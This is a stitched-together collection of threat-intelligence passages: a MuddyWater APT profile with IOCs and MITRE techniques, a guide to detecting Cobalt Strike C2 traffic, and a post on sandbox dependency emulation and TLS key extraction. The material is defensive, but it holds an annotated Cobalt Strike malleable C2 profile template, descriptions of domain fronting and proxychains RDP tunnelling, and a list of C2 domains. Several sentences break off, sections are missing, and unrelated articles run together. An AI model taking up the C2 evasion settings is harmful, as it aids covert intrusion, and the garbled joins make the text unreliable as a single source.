Ursu.933105 Trojan.GenericKD.32762213 Trojan.GenericKD.34854595 Gen:Variant.


Ursu.256631 Gen:Variant.Doina.16603 Gen:Variant.


Helix 1.1.2927.fireeye_intel_hit_ip 1.1.2928.fireeye_intel_hit_ip 1.1.2929.fireeye_intel_hit_ip 1.1.2930.fireeye_intel_hit_ip 1.1.2947.fireeye_intel_hit_hash 1.1.2948.fireeye_intel_hit_hash 1.1.2949.fireeye_intel_hit_hash 1.1.2950.fireeye_intel_hit_hash 1.1.1404.windows_methodology_unusual_web_server_child_process 1.1.3506.windows_methodology_adfind 1.1.1650.windows_methodology_mimikatz_args 1.1.1651.antivirus_methodology_mimikatz 1.1.1652.windows_methodology_invokemimikatz_powershell_artifacts


By SOCRadar Research Security concerns grow day by day with the rise of cyberattacks.


Among the threats, cyber espionage is one of the prominent activities.


It can be used to get a hold of sensitive or classified data that may be intellectual property, government, or trade secrets.


The threat actors’ goals might be financial gain, reputational harm, political interests, or cyberwarfare.


Who is MuddyWater? Stuxnet was a big hit on Iran’s nuclear program in 2010.


Iran took that as a wake-up call and began investing in and improving its cyberwarfare capabilities.


One area they focused on is cyber espionage campaigns.


The first major campaign was observed in 2012, called the Madi campaign.


Operation categories of MuddyWater MuddyWater, also known as Static Kitten, UNC3313, or MERCURY, is an Iranian state-sponsored APT group.


According to the FBI and other US and UK-based agencies, they operate as a subordinate element of the Iranian Ministry of Intelligence and Security (MOIS).


It is believed that they have been active since late 2017 and have been in close contact with MOIS since 2018.


MuddyWater was observed to be conducting malicious activities across Europe, Asia, Africa, and North America.


They are targeting private and government organizations listed below: Defense Education Energy Financial Services Government and administration agencies Healthcare High-Tech International Organizations Media Countries affected by MuddyWater


How does MuddyWater Attack?


MuddyWater’s arsenal is vast.


The group exploits various known vulnerabilities and uses a wide range of tools.


For initial access, the group commonly leverages spear-phishing and tries to trick the victims into opening malicious documents hosted in commercial file-sharing services.


To broaden the compromise, they laterally move by leveraging in-built or deployed tools within the network.


The figure below shows an instance of the MuddyWater attack chain observed by Microsoft.


MuddyWater attack chain (Source: Microsoft)


Which Tools and Vulnerabilities MuddyWater Use? PowGoop DLL Loader: PowGoop malware is a malicious DLL loader.


It disguises itself as a legitimate Google Update executable.


Small Sieve:


Small Sieve is a simple Python backdoor used to distribute Nullsoft Scriptable Install System (NSIS) installer.


Canopy: Canopy is a spyware.


It collects the victim’s username, computer name, and IP address and sends it to the MuddyWater group.


Canopy malware is also known as Starwhale malware.


Mori: Mori is a backdoor that uses Domain Name System tunneling to communicate with the group’s C2 infrastructure.


POWERSTATS:


POWERSTATS is a backdoor that runs PowerShell scripts to maintain persistent access on the victim systems.


MuddyWater-associated tools & vulnerabilities provided by SOCRadar Who Did MuddyWater Target in Their Campaigns? MuddyWater campaign timeline MuddyWater’s targets are mostly the neighbors of Iran in the middle east region.


If we analyze the graphic below, we can see that Turkey, Israel, Iraq, UAE, and Pakistan are among the top targets of MuddyWater.


So, countries in which Iran has political interests should be aware of MuddyWater’s cyber espionage campaigns.


Countries targeted by MuddyWater Motivations Behind MuddWater’s Attacks in the Last 2 Years


In September 2020, a series of agreements called the Abraham Accords were signed between Israel, United Arab Emirates, and Bahrain.


In particular, Iran may have felt concerned about the Abraham Accords because they could lead to closer ties between Israel and other countries in the region, potentially undermining Iran’s influence.


With these developments in mind, we may deduce that the cyber-espionage activities carried out by MuddyWater between September 2020 and March 2021 were a reaction to these agreements.


MuddyWater, as far as known, primarily conducted campaigns in the middle east and its neighboring regions in late 2020 and early 2021.


However, it is believed that the intent of using Shamoon was not to deploy ransomware but to disrupt operations.


Government agencies, academia, and tourism were some of the targeted sectors.


Latest Attacks of the Threat Actor In January 2022, cybersecurity researchers reported that MuddyWater targeted Turkish private organizations and governmental agencies.


With the spear phishing technique, the threat actors tried to convince the victims that the documents were from the Turkish Health and Internal Affairs Ministries.


Malicious PDF used in Turkey campaign (Source: Cisco Talos)


In another incident on December 2022, Deep Instinct reported that MuddyWater, conducted malicious activities, again using spear phishing through emails.


Israeli insurance companies were the targets of the attacks.


As an evolving threat actor, they added a new tool for remote access, Syncro, to their arsenal.


Email from MuddyWater’s Israel attack (Source: Deep Instinct) Conclusion Observations of MuddyWater’s cyber espionage activities can lead to a conclusion that they act according to Iran’s political strategies through MOIS.


Whether it is because of the political implications, or another reason, Israel and Turkey seem to be significant targets for the MuddyWater.


If you are an organization residing in the middle east, there might be a possibility of being a target of MuddyWater.


Excluding the technical mitigations, keeping up with the political climate of the middle east region might give a heads-up if the tension rises.


On the technical side, MuddyWater evolves with each attack they perform, but they still bear similar techniques.


Provide necessary training to your employees for security awareness.


Gain visibility into external-facing digital assets with an Attack Surface Management solution.


Regularly apply security patches and software updates.


Apply the least privilege principle across the network, especially to critical systems and services Secure domain controllers (DC) using best practices.


Enable multifactor authentication (MFA) to prevent lateral movement.


Refer to IOCs and take necessary actions toward mitigation.


SOCRadar’s Attack Surface Management provides visibility into external-facing digital assets.


SOCRadar has a predictive, preventive, and proactive approach toward security at its core.


With SOCRadar’s Attack Surface Management, security teams can track which CVEs are present in the environment.


Knowing which CVEs are present in the organization can give the organization an advantage in defending against MuddyWater.


SOCRadar Attack Surface Management Most threat actors specializing in cyber espionage widely leverage spear phishing, just as MuddyWater does.


If you receive any suspicious email, you can use free SOC Tools on SOCRadar Labs to analyze it.


SOCRadar SOC Tools provided by SOCRadar Labs MITRE ATT&CK Techniques Techniques ID Reconnaissance Gather Victim Identity Information: Email Addresses T1589.002 Resource Development Acquire Infrastructure: Web Services T1583.006 Obtain Capabilities: Tool T1588.002 Initial Access Phishing:


Spearphishing Attachment T1566.001


Spearphishing Link T1566.002 Execution Windows Management Instrumentation T1047 Command and Scripting Interpreter:


PowerShell T1059.001 Command and Scripting Interpreter:


Windows Command Shell 1.059.003 Command and Scripting Interpreter:


Visual Basic T1059.005 Command and Scripting Interpreter: Python T1059.006 Command and Scripting Interpreter:


JavaScript T1059.007 Exploitation for Client Execution T1203 User Execution: Malicious Link T1204.001 User Execution: Malicious File T1204.002 Inter-Process Communication: Component Object Model T1559.001 Inter-Process Communication: Dynamic Data Exchange T1559.002 Persistence Scheduled Task/Job: Scheduled Task T1053.005 Office Application Startup: Office Template Macros T1137.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder T1547.001 Privilege Escalation Abuse Elevation Control Mechanism: Bypass User Account Control T1548.002 Credentials from Password Stores T1555 Credentials from Web Browsers T1555.003 Defense Evasion Obfuscated Files or Information T1027 Steganography T1027.003 Compile


After Delivery T1027.004 Masquerading: Match Legitimate Name or Location T1036.005 Deobfuscate/Decode Files or Information T1140 Signed Binary Proxy Execution: CMSTP T1218.003 Signed Binary Proxy Execution: Mshta T1218.005 Signed Binary Proxy Execution: Rundll32 T1218.011 Execution Guardrails T1480 Impair Defenses:


Disable or Modify Tools T1562.001 Credential Access OS Credential Dumping: LSASS Memory T1003.001 OS Credential Dumping: LSA Secrets T1003.004 OS Credential Dumping: Cached Domain Credentials T1003.005 Unsecured Credentials: Credentials In Files T1552.001 Discovery System Network Configuration Discovery T1016 System Owner/User Discovery T1033 System Network Connections Discovery T1049 Process Discovery T1057 System Information Discovery T1082 File and Directory Discovery T1083 Account Discovery: Domain Account T1087.002 Software Discovery T1518 Security Software Discovery T1518.001 Collection Screen Capture T1113 Archive Collected Data: Archive via Utility T1560.001 Command and Control Application Layer Protocol: Web Protocols T1071.001 Proxy: External Proxy T1090.002 Web Service:


Bidirectional Communication T1102.002 Multi-Stage Channels T1104 Ingress Tool Transfer T1105 Data Encoding: Standard Encoding T1132.001 Data Encoding: Non-Standard Encoding T1132.002 Remote Access Software T1219 Exfiltration Exfiltration Over C2 Channel T1041 Appendix: Appendix 1: IOCs of PowGoop goopdate[.]dll MD5: a27655d14b0aabec8db70ae08a623317 SHA-1: 7649c554e87f6ea21ba86bb26ea39521d5d18151 SHA-256: 2c92da2721466bfbdaff7fedd9f3e8334b688a88ee54d7cab491e1a9df41258f File type: Win32 DLL File size: 88.50 KB (90624 bytes) vcruntime140[.]dll MD5: cec48bcdedebc962ce45b63e201c0624 SHA-1: 81f46998c92427032378e5dead48bdfc9128b225 SHA-256: dd7ee54b12a55bcc67da4ceaed6e636b7bd30d4db6f6c594e9510e1e605ade92 File type: Win32 DLL File size: 91.50 KB (93696 bytes) IOCs 104.208.16[.]94:443 (TCP) 20.42.65[.]92:443 (TCP) 20.42.73[.]29:443 (TCP) libpcre2-8-0[.]dll MD5: 860f5c2345e8f5c268c9746337ade8b7 SHA-1: 6c55d3acdc2d8d331f0d13024f736bc28ef5a7e1 SHA-256: 9d50fcb2c4df4c502db0cac84bef96c2a36d33ef98c454165808ecace4dd2051 File type: Win32 DLL File size: 94.50 KB (96768 bytes) IOCs 20.189.173[.]20:443 (TCP) 20.189.173[.]21:443 (TCP) 20.42.73[.]29:443 (TCP) Appendix 2: IOCs of Small Sieve gram_app[.]exe MD5: 15fa3b32539d7453a9a85958b77d4c95 SHA-1: 11d594f3b3cf8525682f6214acb7b7782056d282 SHA-256: b75208393fa17c0bcbc1a07857686b8c0d7e0471d00a167a07fd0d52e1fc9054 File type: Win32 EXE File size: 16.21 MB (16999598 bytes) IOCs 13.107.4[.]50:80 (TCP) 149.154[.]167.220:443 (TCP) 192.168.0[.]15:137 (UDP) 23.216.147[.]64:443 (TCP) 23.216.147[.]76:443 (TCP) a83f:8110:0:0:1400:1400:2800[:]3800:53 (UDP)


index[.]exe MD5: 5763530f25ed0ec08fb26a30c04009f1 SHA-1: 2a6ddf89a8366a262b56a251b00aafaed5321992 SHA-256: bf090cf7078414c9e157da7002ca727f06053b39fa4e377f9a0050f2af37d3a2 File type: Win32 EXE File size: 16.46 MB (17263089 bytes) IOCs 13.107.4[.]50:80 (TCP) 192.168.0[.]1:137 (UDP) 192.168.0[.]25:137 (UDP) 20.99.132[.]105:443 (TCP) 209.197.3[.]8:80 (TCP) 23.216.147[.]64:443 (TCP) a83f:8110:0:0:7f00:0:0[:]0:53 (UDP) a83f:8110:492a:


Appendix 5:IOCs of POWERSTATS LisfonService[.]exe MD5: f5dee1f9cd47dc7bae468da9732c862e SHA-1: 5273ee897e67fc01ee5fef08c37400cb4ee15958 SHA-256: 6f8226d890350943a9ef4cc81598e0e953d8ba9746694c0b7e3d99e418701b39 File type: Win32 EXE File size: 119.00 KB (121856 bytes) TestService[.]exe MD5: e75443a5e825f69c75380b6dc76c6b50 SHA-1: 142b5753c608c65e702e41b52abdeb96cb2f9294 SHA-256: c514c3f293f0cb4c23662a5ab962b158cb97580b03a22b82e21fa3b26d64809c File type: Win32 EXE File size: 92.50 KB (94720 bytes) IOCs 13.107.4.50:80 (TCP) a83f:8110:e0:ffff:e0:ffff:e0[:]ffff:53 (UDP) The post Dark Web Profile: MuddyWater APT Group appeared first on SOCRadar:registered: Cyber Intelligence Inc..


As with our previous article, we will highlight the common ways we see threat actors using Cobalt Strike.


Big shout-out to @Kostastsale for helping put this Part 2 together!


Also thanks to @svch0st, @pigerlin, and @0xtornado for reviewing this report.


Even though network monitoring and detection capabilities do not come easy for many organizations, they can generally offer a high return on investment if implemented correctly.


Malware has to contact its C2 server if it is to receive further instructions.


This article will demonstrate how to detect this communication before threat actors accomplish their objectives.


There are a couple of factors that we can utilize to fingerprint any suspicious traffic and subsequent infrastructure.


Before we get into that part, we should first discuss what makes Cobalt Strike so versatile.


Cobalt Strike’s versatility comes from the ability to change the indicators with each payload.


Below you can find information related to some of the most important fields that could throw off an analyst while investigating a Cobalt Strike network communication:


The reference profile below is taken from Raphael Mudge’s GitHub repository.


###Global Options### set sample_name "whatever.profile"; set sleeptime "0"; <================ # Decimal number to indicate the time the beacon will sleep for between communications in milliseconds set jitter "25"; <================ # A number that indicates the percentage of a random sleep time that beacon will introduce to its C2 comm set useragent "<string>"; <================ # Custom user agent of your choice set data_jitter "35"; <================ # Represents the value bytes variable that would instruct Cobalt Strike to send a random string on http-get/post to match the bytes value.


set headers_remove "<header to remove>"; <================ # Specifying headers to be removed in a comma separated manner.


####### https-certificate { set C "US"; set CN "whatever.com"; set L "California"; set O "whatever LLC.


"; set OU "local.org"; set ST "CA"; set validity "365"; } ###HTTP-Config Block### http-config { set headers "<headers to include>"; <================ # Specifying the headers that you want to include. header "<name of the header(s)>"; <================ # Specifying the name of the header that will store the data that are transmitted to the C2 server set trust_x_forwarded_for "<true OR false>"; <================ # If the C2 server is behind a redirector, this option would allow to forward the traffic to the correct destination set block_useragents "<user agents>"; <================ # User agents that C2 server will block and show a 404 response set allow_useragents "<user agents>" <================ # Opposite of the above } ###HTTP-GET Block.


This function and all of its fields could also exist and be customized for the HTTP-POST Block (Server communication)### http-get { set uri "/<URI string>"; <================ # Specifying the URI to reference in bidirectional communication from client and server set verb "POST"; <================ # Setting the verb when requesting available tasks from the C2 server.


header "Connection" "close"; ### Metadata corresponds to the information that the beacon is sending to the C2 server about itself.


The operators may choose to enable additional fields that will include data on the C2 communication.


You can mix and match fields below: metadata { #base64; <================ # Base64 encoded string base64url; <================ # URL safe Base64 encoded string #mask; <================ # Encrypting and encoding the data with XOR mask and random key #netbios; <================ # Encoding data as netbios in lower case #netbiosu; <================ # Another variation of netbios encoding #prepend "TEST123"; <================ # Choosing a string to prepend to the transmitted data append ".php"; <================ # Choosing a string to append ### Termination statements: This statement tells Beacon and its server wherein the transaction to store the transformed data.


#header "Cookie"; <================ # Adding a specific string within a specific header.


#uri-append; <================ # Adding a specific string in the URI.


#print; } parameter "test1" "t We added comments to the profile above to explain the numerous fields operators can change to customize the profile to their needs.


All these different fields provide control and flexibility over the indicators of the C2 channel.


Many free, open-source randomizer scripts exist to create a unique profile such as Random C2 Profile Generator by @joevest, Malleable-C2-Randomizer by @bluscreenofjeff, and C2concealer by @FortyNorthSec.


Below are some of the Cobalt Strike C2 servers that we observed during intrusions.


On the right column, we show the URLs that the Cobalt Strike payloads were configured to query.


Another example is the “jquery-3.3.1.min.js” which is associated with this malleable C2 profile as we observed in four intrusions.


+----------------------+-----------------------+ | C2 Server | URI queried |


+----------------------+-----------------------+ | gawocag.com | /nd


| | securityupdateav.com | /tab_shop_active.html


| | windowsupdatesc.com | /as | | 212.114.52.180 | /copyright.css | | defenderupdateav.com | /default.css | | onlineworkercz[.]com | /kj | | checkauj.com | /jquery-3.3.1.min.js


| +----------------------+-----------------------+ A deep dive into all available fields can be found on this post from @ZephrFish.


Another great resource is this article released by SpecterOps.


Domain Fronting Domain fronting is another method for concealing communication between the endpoint and the command and control servers.


The main purpose of domain fronting is to connect to a restricted host while pretending to communicate with an allowed host.


It essentially masks your traffic to a certain website by masquerading it as a different domain.


Domain fronting was mostly used by web services to bypass censorship in several countries that restricted traffic (e.g., China).


In recent years, attackers have started using this technique to hide their malicious infrastructure behind legitimate domains.


Because domain fronting is a complicated topic to grasp, below we have included an image from the official Cobalt Strike page that discusses this technique.


Cobalt Strike made domain fronting possible by allowing the operators to configure related settings via the malleable C2 profiles.


The following prerequisites must be met in order for domain fronting to be possible: Own a domain.


(e.g., cloudfront.net).


Setup a profile to facilitate domain fronting.


Attackers can use legitimate domains that are registered under the same CDN provider.


In the screenshots below, you can see how the malleable C2 profiles are configured to allow domain fronting using the Fastly and AzureEdge CDNs:


He explains in simple terms how it works.


He also published a Python script to identify possible domains that can be leveraged for domain fronting.


Looking into our reporting, we don’t see many instances of domain fronting.


This is most likely due to the complex process of setting up the necessary infrastructure.


Although, based on the data we have collected regarding malicious infrastructure, domain fronting appears to be used by threat actors.


According to our data from early 2021 up to now, Amazon Cloudfront takes the lead on preferable CDN used by threat actors, by a large margin.


The data above is available via our services.


Reverse Proxy using Cobalt Strike Beacon A technique that we come across often is a reverse proxy.


This enables the operators to setup a listening port and leverage it to relay traffic to and from the open beacon session.


The screenshot below demonstrates this implementation.


Image credit: cobaltstrike.com Some of the cases we have observed threat actors using reverse proxy are: Diavol Ransomware BazarLoader and the Conti Leaks Snatch Ransomware


In most, of the above cases, the aim of the attackers was to establish a Remote Desktop session.


There are numerous advantages to establishing a RDP session, including the ability to navigate using a graphical environment and easily move laterally once the necessary access has been granted.


Below, we demonstrate how attackers take advantage of this technique using proxychains from the attackers’ kali Linux host.


In the first image, the attackers open a socks listening port, in this case port 8888, on the Cobalt Strike team server.


Creating the listening port (TCP port 8888)


In this second image, we employ proxychains from the attacker’s Kali Linux host to RDP into our target’s environment via the SOCKS server.


RDP into the target host using reverse proxy Looking into the generated artifacts, we can see that a 4624 type 3 event is created on the target host.


One interesting aspect that we have also mentioned in similar cases from our reporting is that the victim’s hostname is captured in this logon event as well as the source address being 127.0.0.1. Security Event ID 4624 Type 3 shows the attacker’s hostname Once again, the running Cobalt Strike beacon acts as the intermediary to facilitate the Remote Desktop session via reverse proxy.


Inside Cobalt Strike’s


C2 Traffic This section will attempt to illustrate how the different malleable C2 profiles can affect network communication.


In some of the examples below, we simulated the malicious C2 channel to show how different malleable profile configurations can change the observed traffic.


After that, we’ll examine network data associated with lateral movement and the various methods employed by Cobalt Strike operators based on our observations.


HTTP/HTTPS C2 traffic


We will use a slightly modified version of the jquery profile to illustrate how the configuration defines the various fields that make up the C2 connection.


A portion of the malleable C2 profile configuration is shown at the bottom half of the screenshot.


At the top half of the screenshot, we show the HTTP communication between the Beacon and the Cobalt Strike server.


The malleable profile determines the content of all parameters used in GET and POST requests.


Because of how simple it is to change these parameters, creating network signatures for proactive defense can be difficult.


Defenders can create signatures for publicly available profiles (see Sigma section below) or profiles extracted and made available thru open-source reporting.


One could search for traffic that matches known patterns (such as jquery or amazon) but the target IP/domain does not match the expected infrastructure.


Operators can choose to configure their server to respond to beacon requests in A, AAAA or TXT records.


This strategy is useful for more covert operations, as the destination host could be a benign DNS server.


Defenders will have to inspect the traffic data and look for suspicious DNS records.


The screenshot below is from the official Cobalt Strike documentation page and shows how DNS communication works between the compromised host and the C2 server.


In the below example, we emulated this technique and configured the Beacon to communicate over DNS and request new tasks using A records.


In the same way, we can configure the Beacon to use TXT or AAAA records for requesting tasks or sending information to the server.


It is worth noting that the default method is the DNS TXT record data channel.


As you can see from the screenshot below, it took 148 packets containing DNS requests and responses to finish the task and send back the data to the Cobalt Strike Server.


Some of the options that are available to threat actors are as follows:


SMB beacons open a local port on the target host and listen for incoming communication from a parent beacon.


The communication between the two beacons is possible thanks to named pipes.


For a list of default pipe names for other services including some custom profiles check out @svch0st’s post here.


SMB beacons are mostly used to make network detection harder and to get access to isolated systems where communication to the internet is prohibited.


Additionally, due to SMB protocol being accessible in most internal networks, it makes for a reliable C2 method.


Operators can also chain beacons and move laterally inside the network.


However, they’re still a powerful weapon in the hands of skilled operators.


We ran a PowerShell loader on the target host, which loaded a stageless SMB beacon in memory.


In our case, the SMB Beacon is communicating over the network with a parent Beacon using named pipes.


As you can see from the screenshots below, windows event 4688 contains the execution of the PowerShell command.


However, Sysmon should be explicitly configured to log named pipes.


A good public Sysmon config that includes named pipes and much more is Olaf‘s Sysmon Moduler.


Below, you can see the named pipe created that we specified on the Cobalt Strike interface when we created the SMB listener.


Furthermore, the SMB Beacon will communicate over port 445 to the main beacon as we described above, which will then send the results to the C2 server.


This is known as chaining beacons.


The below screenshot illustrates the SMB communication between the beacon on the beachhead host and the chained beacon(s).


Another way to describe the communication is a parent/child relationship.


The network traffic shows the target host communicating over SMB with the other compromised host running the parent HTTP Beacon.


Named Pipes are used to facilitate the transition of data.


There are specific tools that we use to analyze suspicious network traffic in our intrusion cases.


We believe that no single tool can provide complete detection coverage, but we can get close by combining them.


In the following section, we will look at these tools that could accelerate analysis for defenders.


Cobalt Strike DNS Beaconing is a rule created by Florian Roth which looks at DNS logs to detect the default DNS C2 behavior based on the dns_stager_subhost, put_output and dns_stager_subhost as seen above.


Below is a more generic rule created by @bareiss_patrick which is a good example of detecting suspicious DNS traffic based on a high amount of queries for a single domain.


Another more generic rule created by Daniil Yugoslavskiy uses dns logs to look for 50 or more TXT records from a single source in one minute: Default Cobalt Strike Certificate is a rule written by Bhabesh Raj that uses Zeek logs to detect the default Cobalt Strike certificate.


RDP over Reverse SSH Tunnel WFP by Samir Bousseaden is a rule that can look for suspicious RDP activity using reverse tunneling.


CobaltStrike Malleable Amazon Browsing Traffic Profile by Markus Neis which looks at proxy logs for the Amazon Malleable profile.


All Sigma rules here are documented towards the bottom of Part 1. Rita Rita stands for Real Intelligence Threat Analytics (RITA), developed by Active Countermeasures.


It takes Zeek logs data and can, in our experience, accurately detect beaconing activity.


One of the great features of Rita is its ease of use and detailed output information in various forms, including CSV and HTML.


One simply can point Rita to the Zeek logs and wait for the results.


The more available data, the more precise the results will be.


Zeek logs can be generated from the PCAP(s).


The screenshot samples below show the results created by Rita based on the traffic we used in the previous sections to demonstrate the jquery malleable C2 profile.


We left the Beacon running for an hour to simulate an actual infection while several other network-unrelated processes ran in the background.


During this hour, we tasked the Beacon with carrying out several commands.


Although, the more data you have, the more accurate the results will be.


The first three IP addresses relate to the CS servers with which the Beacon communicated.


As a result, we can detect Cobalt Strike beaconing regardless of the malleable C2 profile utilized or any additional jitter present.


JA3/JA3S JA3 is an open-source project created by John Althouse, Jeff Atkinson and Josh Atkins.


JA3/JA3S can create SSL fingerprints for communication between clients and servers.


Hello packet: - SSL Version - Accepted Ciphers - List of Extensions - Elliptic Curves - Elliptic Curve Formats For more information on how JA3 works, you can visit the official GitHub repository here: https://github.com/salesforce/ja3.


The JA3 tool is used to generate a signature for the client-side beacon connection with the server.


JA3S, on the other hand, is able to generate a server fingerprint.


JA3S can capture the full cryptographic communication and combine the JA3 findings to generate the signature.


The downside of this method is that it can produce inaccurate results if the Cobalt Strike is behind redirectors.


When it comes to Cobalt Strike infrastructure, the known JA3 and JA3s signatures that we are looking for are: JA3 72a589da586844d7f0818ce684948eea a0e9f5d64349fb13191bc781f81f42e1 JA3s b742b407517bac9536a77a7b0fee28e9 ae4edc6faf64d08308082ad26be60767 By using JA3/S signatures, we can discover various malware C2 servers and not just Cobalt Strike.


Salesforce provides a thorough collection of signatures that belong to many different applications here.


JARM Similar to JA3/JA3S, JARM has the ability to fingerprint the TLS values of the remote server.


It does this by interacting with the target server sending 10 TLS Client


Hello packets and recording the specific attributes from the replies.


It will then hash the result values and create the final JARM fingerprint.


Unlike JA3/S, JARM is an active way of fingerprinting remote server applications.


John Althouse has created a medium post that accurately conveys the differences between JA3/S and JARM: “JARM actively scans the server and builds a fingerprint of the server application.


Whereas JA3/S is passive, just listening, not reaching out, JARM is active, actively probing the target.


And is able to build a fingerprint of the server application where JA3S could not.”


According to research and further changes on the JAVA TLS version as mentioned below, the JARM fingerprint that corresponds to a default configuration of the Cobalt Strike is: 07d14d16d21d21d00042d41d00041de5fb3038104f457d92ba02e9311512c2 Cobalt Strike is dependent on Java to run both the client graphical user interface (GUI) and the team server.


When we scan a Cobalt Strike server using JARM, the results we get back are dependent on the Java version that is used.


This makes it easier to identify a potential Cobalt Strike server, however, defenders should be aware that this outcome alone is prone to false positives.


This is because many other legitimate servers on the internet use this version of Java to operate their web applications.


On April 20th, 2021 Java Disabled TLS 1.0 and TLS 1.1 in favor of TLS 1.2 or above.


To: 07d14d16d21d21d00042d41d00041de5fb3038104f457d92ba02e9311512c2 This change was highlighted by @bodziurity and @WLesicki in a collaborative effort: Cobalt Strike has a post dedicated to JARM that goes into detail on how JARM works and how the specific hash value is created based on the Java version.


Looking into our reporting for this hash value will return four of our cases.


All these cases involve Cobalt Strike as the post-exploitation method.


[target] -p


Called JARM Randomizer the tool can be configured as a proxy in front of the Cobalt Strike server to serve up false data to potential internet scanners.


Arkime (Moloch) and JA3/S We included Arkime as it integrates with JA3/JA3S and other plugins to enhance network analysis.


Arkime is a tool that we use a lot to investigate network activity and gather indicators.


It can index network traffic and make events easily searchable.


Arkime is simple to set up and excellent for reviewing traffic.


Would you like to see something specific in Part 3?


We’ve adapted to these techniques by tailoring our analysis platform in a couple of notable ways that we’ll discuss, particularly to address malware that engages in sandbox evasion.

Tailoring Sandbox Techniques to Hidden Threats


The first is an approach we call “dependency emulation,” where we can successfully detonate malware samples that would not normally be able to execute in our sandbox environment due to a lack of dependencies.


We will also discuss our strategies of stealthy instrumentation for analysis of encrypted network traffic, to combat the ways SSL can be used to complicate command-and-control (C2) traffic analysis.


One overarching goal malware authors share is to remain undetected until their overall objective is reached.


As we’ve previously detailed in this blog post series, this has resulted in a seemingly limitless number of evasions and strategies targeted at confounding sandboxing and static analysis approaches.


Palo Alto Networks customers receive improved detection for the evasions discussed in this blog through Advanced WildFire.


When we do, we’re referring to additional code that an executable depends on that is not inside the executable file.


On Windows, external dependencies are usually Dynamically Linked Libraries (DLLs) that contain additional functionality that can be imported into the process to execute.


Often malware does not require external libraries in order to execute its malicious code, or it might call functions from those external libraries in a very late stage of its execution.


Over the past few years we’ve noticed a large uptick in malicious Windows executables that require external libraries for things like graphical user interfaces or better cross-platform support, and if the libraries are missing, then the malicious sample won’t be able to run.


When Windows cannot load an application because of a missing library, it will show a “System Error” error message box that displays the missing library name.


But we wouldn’t be able to get any analysis information from the sample because no malicious code was executed.


In Figure 1, we can see a screenshot of the ATMSpitter malware family, which requires the DLL MSXFS.dll to fully detonate.


and we can extract information such as executed system calls and modified memory regions.


ATMSpitter malware requires MSXFS.dll to run.


File infectors like Sality, Floxif, Expiro and Ramnit typically infect predefined sets of executables that they find on the disk.


If the infected file requires specific libraries that are not part of the operating system (OS), then chances are it’s not going to detonate inside a malware analysis sandbox because these dependencies likely won’t be preinstalled in the environment.


Our sandbox environments are constrained in resources like disk space, and the number of DLL files in the world is seemingly infinite.


Normally, when we run into this situation and the OS loader refuses to execute our file, we are left with no data at all from dynamic analysis.


File infectors usually call their malicious code very early (e.g., by replacing an early call instruction to their malicious code, or by overwriting the entry point in the PE header) before any function calls from external libraries are ever called.


The OS will refuse to load and execute our file, despite the fact that none of the dependencies mattered anyway.


Example File Infector Let’s take a look at one file that has been infected by the Sality malware, which requires external dependencies to run inside a sandbox.


The original file is Groove Audit Service from Microsoft Office, and it requires dependencies from the libraries GrooveNew.dll and GroveUtil.dll (shown in Figure 2).


If those two libraries are missing on the system, then the sample won’t be able to run.


The required dependencies.


Sality infected executable compared to the original file.


But if we open both the executables inside IDA Pro, we immediately see that the code at the entry point is totally different compared to the original (shown in Figures 4 and 5, below).


The malicious code in the infected file is being called right at the entry point and doesn’t require any dependencies to fully infect the system.


However, because of the required dependencies, regular malware analysis sandboxes won’t be able to run this kind of file.


Original entry point.


Mitigating the Dependency Problem What can we do about this dependency problem for analysis at scale?


Dependency emulation is an approach we’ve recently prototyped and found useful to address this.


The main idea of this approach is to detect this situation automatically, and to adapt our sandbox environment to the files being detonated to ensure executables will have a chance to detonate.


Given the million or so unique Windows executables we process daily, it would be an extremely difficult (if not impossible) task to automatically detect and add the specific external libraries for each executable that required external dependencies.


There are literally hundreds of millions of libraries out there with numerous versions for each, and it’s not really feasible to support providing any arbitrary library in a way that guarantees the intended execution of every sample.


However, as we’ve discussed in our initial post in this blog series, we often don't need full execution for accurate detection.


The bad news is that, since we aren’t trying to provide actual copies of the required libraries, we can’t correctly simulate the function calls into any of the libraries not present in our environment.


All things considered, with this approach we've seen a lot of samples detonate that wouldn't otherwise, and we've seen many correct detections.


VMI SSL/TLS Decryption Another challenge we’ve faced with analyzing malware at scale is how to stealthily spy on TLS encrypted traffic in a way that’s not detectable by the malware.


As HTTPS and other protocols built on SSL have become increasingly ubiquitous for accessing resources across the internet, it’s not surprising that malware authors also use this protocol for other things, such as pulling down the next stage of their payload, or C2 communications.


The problem with this is that it’s detectable by examining and validating TLS certificates.


It’s also possible to instrument and log calls to some of the higher level networking APIs, but again, this is also detectable in many cases and isn’t going to get us all encrypted communications.


One solution we’ve found useful for this problem is to detect when TLS connections are being initiated and log the symmetric keys generated for the SSL/TLS connection using virtual machine introspection (VMI).


Before we look into that detection method, let’s have a quick lesson on TLS handshakes.


In the case of a Diffie-Hellman (DH) handshake, additional DH parameters are then exchanged, and each side separately calculates a pre-master secret.


Finally, the same master secret key is calculated on each side by utilizing the pre-master secret and the client and server random values.


The calculated master secret is 48 bytes in length.


The key generation happens in memory, so the key is never written to disk and it doesn’t traverse the wire.


By knowing the exact location in code where each master key is generated and precisely where it resides in memory, it is possible to extract the key.


This can be accomplished with, for example, an analysis engine via virtual machine introspection, which makes a system invisible to the malware.


An example output, which includes everything needed to decrypt TLS traffic, is shown in Figure 7.


Extracted random value and master key.


Conveniently, the open source tool Wireshark/Tshark accepts a keyfile to perform this decryption automatically on collected pcap traffic.


Example SSL Decryption With Wireshark Let's take a look at a real world example of a sample that belongs to the malware family FormBook.


The sample is loaded by a loader written in Delphi, which downloads the next stage from a public file storage service using HTTPS.


The random client value and the master secret key must be stored in a specific file format that Wireshark supports.


It looks like this: CLIENT_RANDOM


For example: Wireshark -r guest_traffic.pcap -o "ssl.keylog_file:key_capture.keys" After opening the capture (pcap) in Wireshark, the TLS encrypted data will be decrypted, and we can use the http filter to get the decrypted HTTPS traffic.


This is shown in Figure 8. Figure 8.


Decrypted HTTPS traffic.


Downloaded data from public file storage.


Threats are continually evolving, and architecting analysis systems as more of a flexible, nicely abstracted software development kit instead of a stand-alone monolithic application is crucial.


With this in mind, we’ve gone over two important ways our platform adaptability has paid off in Advanced WildFire.


With VMI SSL/TLS Decryption, we have visibility into all SSL/TLS communications in a way that isn’t detectable by malware authors.


Once again, if you’ve made it this far, thank you again for reading and we hope you enjoyed this peek into some of the more interesting work we’ve been doing as part of our never-ending endeavor to accurately detect every last malicious file the global internet has to offer us.


